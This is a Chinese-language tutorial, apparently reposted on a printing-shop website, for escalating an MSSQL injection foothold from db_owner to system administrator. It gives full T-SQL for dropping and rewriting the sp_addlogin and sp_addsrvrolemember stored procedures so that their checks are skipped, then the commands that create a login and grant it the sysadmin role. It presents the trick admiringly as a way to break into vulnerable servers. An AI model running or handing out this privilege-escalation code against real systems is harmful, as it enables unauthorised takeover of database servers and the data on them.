 |
|
|
 首页 |
名片设计 CorelDRAW Illustrator AuotoCAD Painter 其他软件 Photoshop Fireworks Flash |
|
MSSQL注入通杀，只要有注入点就有系统权限 不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方式主要是利用db_owner可以修改sp_addlogin 和sp_addsrvrolemember这两个存储过程，饶过了验证部分。详细方式如下:先输入 drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin @loginame sysname ,@passwd sysname = Null ,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT CONFIGURABLE??? ,@deflanguage sysname = Null ,@sid varbinary(16) = Null ,@encryptopt varchar(20) = Null AS -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- set nocount on Declare @ret int -- return value of sp call -- DISALLOW USER TRANSACTION -- set implicit_transactions off IF (@@trancount > 0) begin raiserror(15002,-1,-1,’sp_addlogin’) return (1) end -- VALIDATE LOGIN NAME AS: -- (1) Valid SQL Name (SQL LOGIN) -- (2) No backslash (NT users only) -- (3) Not a reserved login name execute @ret = sp_validname @loginame if (@ret <> 0) return (1) if (charindex(’’, @loginame) > 0) begin raiserror(15006,-1,-1,@loginame) return (1) end --Note: different case sa is allowed. if (@loginame = ’sa’ or lower(@loginame) in (’public’)) begin raiserror(15405, -1 ,-1, @loginame) return (1) end -- LOGIN NAME MUST NOT ALREADY EXIST -- if exists(select * from master.dbo.syslogins where loginname = @loginame) begin raiserror(15025,-1,-1,@loginame) return (1) end -- VALIDATE DEFAULT DATABASE -- IF db_id(@defdb) IS NULL begin raiserror(15010,-1,-1,@defdb) return (1) end -- VALIDATE DEFAULT LANGUAGE -- IF (@deflanguage IS NOT Null) begin Execute @ret = sp_validlang @deflanguage IF (@ret <> 0) return (1) end ELSE begin select @deflanguage = name from master.dbo.syslanguages where langid = @@default_langid --server default language if @deflanguage is null select @deflanguage = N’us_english’ end -- VALIDATE SID IF GIVEN -- if ((@sid IS NOT Null) and (datalength(@sid) <> 16)) begin raiserror(15419,-1,-1) return (1) end else if @sid is null select @sid = newid() if (suser_sname(@sid) IS NOT Null) begin raiserror(15433,-1,-1) return (1) end -- VALIDATE AND USE ENCRYPTION OPTION -- declare @xstatus smallint select @xstatus = 2 -- access if @encryptopt is null select @passwd = pwdencrypt(@passwd) else if @encryptopt = ’skip_encryption_old’ begin select @xstatus = @xstatus | 0x800, -- old-style encryption @passwd = convert(sysname, convert(varbinary (30), convert(varchar(30), @passwd))) end else if @encryptopt <> ’skip_encryption’ begin raiserror(15600,-1,-1,’sp_addlogin’) return 1 end -- ATTEMPT THE INSERT OF THE NEW LOGIN -- INSERT INTO master.dbo.sysxlogins VALUES (NULL, @sid, @xstatus, getdate(), getdate(), @loginame, convert(varbinary(256), @passwd), db_id(@defdb), @deflanguage) if @@error <> 0 -- this indicates we saw duplicate row return (1) -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- exec(’use master grant all to null’) -- FINALIZATION: RETURN SUCCESS/FAILURE -- raiserror(15298,-1,-1) return (0) -- sp_addlogin GO OK,我们新建个用户exec master..sp_addlogin xwq 再drop procedure sp_addsrvrolemember,然后在IE里输入 create procedure sp_addsrvrolemember @loginame sysname, -- login name @rolename sysname = NULL -- server role name as -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- set nocount on declare @ret int, -- return value of sp call @rolebit smallint, @ismem int -- DISALLOW USER TRANSACTION -- set implicit_transactions off IF (@@trancount > 0) begin raiserror(15002,-1,-1,’sp_addsrvrolemember’) return (1) end -- CANNOT CHANGE SA ROLES -- if @loginame = ’sa’ begin raiserror(15405, -1 ,-1, @loginame) return (1) end -- OBTAIN THE BIT FOR THIS ROLE -- select @rolebit = CASE @rolename WHEN ’sysadmin’ THEN 16 WHEN ’securityadmin’ THEN 32 WHEN ’serveradmin’ THEN 64 WHEN ’setupadmin’ THEN 128 WHEN ’processadmin’ THEN 256 WHEN ’diskadmin’ THEN 512 WHEN ’dbcreator’ THEN 1024 WHEN ’bulkadmin’ THEN 4096 ELSE NULL END -- ADD ROW FOR NT LOGIN IF NEEDED -- if not exists(select * from master.dbo.syslogins where loginname = @loginame) begin execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame if (@ret <> 0) begin raiserror(15007,-1,-1,@loginame) return (1) end end -- UPDATE ROLE MEMBERSHIP -- update master.dbo.sysxlogins set xstatus = xstatus | @rolebit, xdate2 = getdate() where name = @loginame and srvid IS NULL -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- exec(’use master grant all to null’) raiserror(15488,-1,-1,@loginame,@rolename) -- FINALIZATION: RETURN SUCCESS/FAILURE return (@@error) -- sp_addsrvrolemember GO 接着再exec master..sp_addsrvrolemember xwq,sysadmin 这样就建立了一个SA用户了，用SQL连接器连接上就OK了。 返回类别: 教程 上一教程: 保卫你的SQL SERVER数据库 下一教程: MYSQL进阶_SELECT篇(三) 您可以阅读与"SQL注入攻击通杀"相关的教程: · SQL注入攻击通杀 · 利用INSTR()函数防止SQL注入攻击 · 防范SQL注入式攻击 · SQL注入技术和跨站脚本攻击的检测 · MYSQL用户ROOT密码为弱口令的攻击 |
  |
| 快精灵印艺坊 版权所有 |
首页 会员中心在线印刷在线编辑付款方式索取样品设计指南连锁门店
|
||
